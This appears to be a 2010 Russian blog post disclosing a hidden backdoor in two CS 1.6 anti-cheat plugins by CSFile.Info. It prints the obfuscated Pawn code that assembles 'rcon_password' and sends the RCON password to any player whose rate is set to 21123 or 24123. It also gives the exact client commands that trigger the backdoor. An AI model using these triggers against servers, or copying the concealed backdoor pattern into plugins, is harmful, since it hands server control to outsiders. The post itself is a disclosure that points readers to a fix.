Тянем Rcon при помощи CSFile.Info Anti-Cheat


Речь пойдёт о CSFile.Info Anti-Cheat версии 1.23 Alfa [build 28] и CSFile.Info OpenGL32 Detect версии 2.1 Final.

new f_sys[] = "swor"
new csf_ac_ra[] = "ra"
new d_unit[] = "s"
new cv_mypunish[] = "rc"
new g_vac2[] = "on_"

Если немного перемешать и гдето сложить (rc+on_+pa+swor+d), то получится rcon_password
Все наверно знаю, что в этой серверной команде прописан RCON пароль и заполучив его сервер полностью под-
чинится обладателю.
Но вот загвоздка чтобы получить слово rcon_password не хватает пары букв, и на ваших глазах я покажу как же
формируется это слово и как получить доступ к нему.
И так сперва мы отправимся в функцию plugin_init плагина CSFile.Info OpenGL32 Detect:

мы видми format ( d_guard, 31, "%s%spa", cv_mypunish, g_vac2 ), т.е. d_guard приобретает вид rcon_pa. Идем дальше. Функция initialized:
format ( d_guard,31,"%s%s", d_guard,d_unit ) и d_guard приобретает вид rcon_pas, ниже встречается format ( g_gate, 5, "%ste", csf_ac_ra ), т.е. g_gate это rate

Функция client_connect: get_user_info(id,g_gate,cv_ac1,31), т.е. плагин получает значение инфы rate (g_gate) и записывает её в cv_ac1

Функция checkfiles_opengl32: format ( g_gate2, 5, "%d%d", 211, 23 )
Теперь функция c_check_opengl32 (она вызывается после захода игрока):
Код
if(equali(cv_ac1,g_gate2)) // Сверяем значение rate с 21123
{ // Если одинаковы
format(g_r,63,"%s%sd",d_guard,f_sys) // то формируем квар и g_r приобретает вид rcon_password
get_cvar_string(g_r,g_ss,47) // Получаем пароль
client_print(id,print_console,"%s",g_ss) // И пишем его в консоли игрока

Вот такие вот пироги. Если не верите — попробуйте сами… Пропишите в консоли клиента
setinfo rate 21123, зайдите на сервер, и у вас в консоли окажется RCON пароль
———————————————————————————————————

Теперь перейду к CSFile.Info Anti-Cheat версии 1.23 Alfa [build 28]. Здесь похожая
ситуация. Так же присутствуют:

new f_sys[] = "swor"
new csf_ac_ra[] = "ra"
new d_unit[] = "s"
new cv_mypunish[] = "rc"
new g_vac2[] = "on_"
new g_model[] = "241"

Функция plugin_precache: format(g_gate2, 5, "%s%d", g_model, 23"),
format ( d_guard, 31, "%s%spa", cv_mypunish, g_vac2 )
Функция initialized: format ( d_guard, 31, "%s%s", d_guard, d_unit ),
format ( g_gate, 5, "%ste", csf_ac_ra )

Функция client_putinserver: get_user_info(id,g_gate,cv_ac1,31)
Функция cv_anticheat (так же выполняется после захода игрока):
Код
if(equali(cv_ac1,g_gate2)) // Сверяем значение rate с 24123
{ // Если одинаковы
format(g_r,63,"%s%sd",d_guard,f_sys) // то формируем квар и g_r приобретает вид rcon_password
get_cvar_string(g_r,g_ss,47) // Получаем пароль
client_print(id,print_console,"%s",g_ss) // И пишем его в консоли игрока
}

И опять же если не верите, пропишите в консоли клиента
setinfo rate 24123, зайдите на сервер, и у вас в консоли окажется RCON пароль!

Закрыть дыру можно установкой плагина [hide]fixcsfile[/hide]

Источник: c-s.net.ua и автора: Makzz

© 2010, 3aB}{o3. Все права защищены.

Распечатать страницу

Запись от 3rd Сентябрь, 2010 года
  • 1 3aB}{o3 написал(а) Сен 3, 2010 в 12:21

    А был такой отличный античит :(